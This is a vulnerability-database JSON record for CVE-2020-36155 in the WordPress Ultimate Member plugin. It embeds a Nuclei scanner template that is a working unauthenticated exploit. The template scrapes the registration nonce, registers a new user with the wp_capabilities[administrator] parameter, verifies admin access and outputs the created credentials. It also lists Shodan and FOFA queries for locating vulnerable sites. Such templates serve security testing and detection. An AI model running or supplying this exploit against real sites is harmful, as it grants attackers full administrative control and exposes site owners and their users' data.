{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2020-36155/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2020-36155/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2020-36155/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2020-36155/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2020-36155/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2020-36155"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2020-36155"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2020/CVE-2020-36155.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2020-36155\n\ninfo:\n  name: Ultimate Member < 2.1.12 - Unauthenticated Privilege Escalation via User Meta\n  author: riteshs4hu\n  severity: critical\n  description: |\n    An issue was discovered in the Ultimate Member plugin before 2.1.12 for WordPress, aka Unauthenticated Privilege Escalation via User Meta. An attacker could supply an array parameter for sensitive metadata, such as the wp_capabilities user meta that defines a user's role. During the registration process, submitted registration details were passed to the update_profile function, and any metadata was accepted, e.g., wp_capabilities[administrator] for Administrator access.\n  impact: |\n    Unauthenticated attackers can escalate privileges to administrator during registration, gaining complete control over the WordPress site and all user data.\n  remediation: Fixed in 2.1.12\n  reference:\n    - https://wpscan.com/vulnerability/cf13b0f8-5815-4d27-a276-5eff8985fc0b/\n    - https://nvd.nist.gov/vuln/detail/CVE-2020-36155\n    - https://wordpress.org/plugins/ultimate-member/#developers\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10\n    cve-id: CVE-2020-36155\n    cwe-id: CWE-269\n    epss-score: 0.09822\n    epss-percentile: 0.95572\n    cpe: cpe:2.3:a:ultimatemember:ultimate_member:*:*:*:*:*:wordpress:*:*\n  metadata:\n    max-request: 3\n    verified: true\n    vendor: ultimatemember\n    product: ultimate_member\n    framework: wordpress\n    publicwww-query: \"/wp-content/plugins/ultimate-member\"\n    fofa-query: body=\"/wp-content/plugins/ultimate-member\"\n    shodan-query: \"http.html:/wp-content/plugins/ultimate-member/\"\n  tags: cve,cve2020,wordpress,wp-plugin,wp,wpscan,ultimate-member,intrusive,privesc,vkev,vuln\n\nflow: http(1) && http(2) && http(3)\n\nvariables:\n  name: \"{{to_lower(rand_text_alpha(5))}}\"\n  password: \"{{rand_base(8)}}\"\n  email: \"{{randstr}}@{{rand_base(5)}}.com\"\n  firstname: \"{{rand_base(5)}}\"\n  lastname: \"{{rand_base(5)}}\"\n\nhttp:\n  - raw:\n      - |\n        GET /register/ HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: nonce\n        group: 1\n        regex:\n          - 'name=\"_wpnonce\" value=\"(.*?)\"'\n        part: body\n        internal: true\n\n      - type: regex\n        name: id\n        group: 1\n        regex:\n          - 'class=\"um um-register um-(.*?)\"'\n        part: body\n        internal: true\n\n  - raw:\n      - |\n        POST /register HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        user_login-{{id}}={{name}}&first_name-{{id}}={{firstname}}&last_name-{{id}}={{lastname}}&user_email-{{id}}={{email}}&user_password-{{id}}={{password}}&confirm_user_password-{{id}}={{password}}&wp_capabilities%5Badministrator%5D=&form_id={{id}}&timestamp={{unix_time()}}&um_request=&_wpnonce={{nonce}}&_wp_http_referer=register\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 302\"\n          - \"contains(header, 'wordpress_logged_in')\"\n          - \"len(body) == 1\"\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-admin/users.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains(content_type, \"text/html\")\n          - contains_all(body,'Edit Profile','All Posts')\n        condition: and\n\n    extractors:\n      - type: dsl\n        dsl:\n          - '\"USER: \"+ name'\n          - '\"PASS: \"+ password'\n# digest: 490a0046304402203cf7a44169d5ca94f0bb97cb1844f6133efdaaadfee4b25261212340be61427402207355657111db71bbed97dad51f98f2125244607bd079e786537dba6f5279c9dd:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2020-36155"
}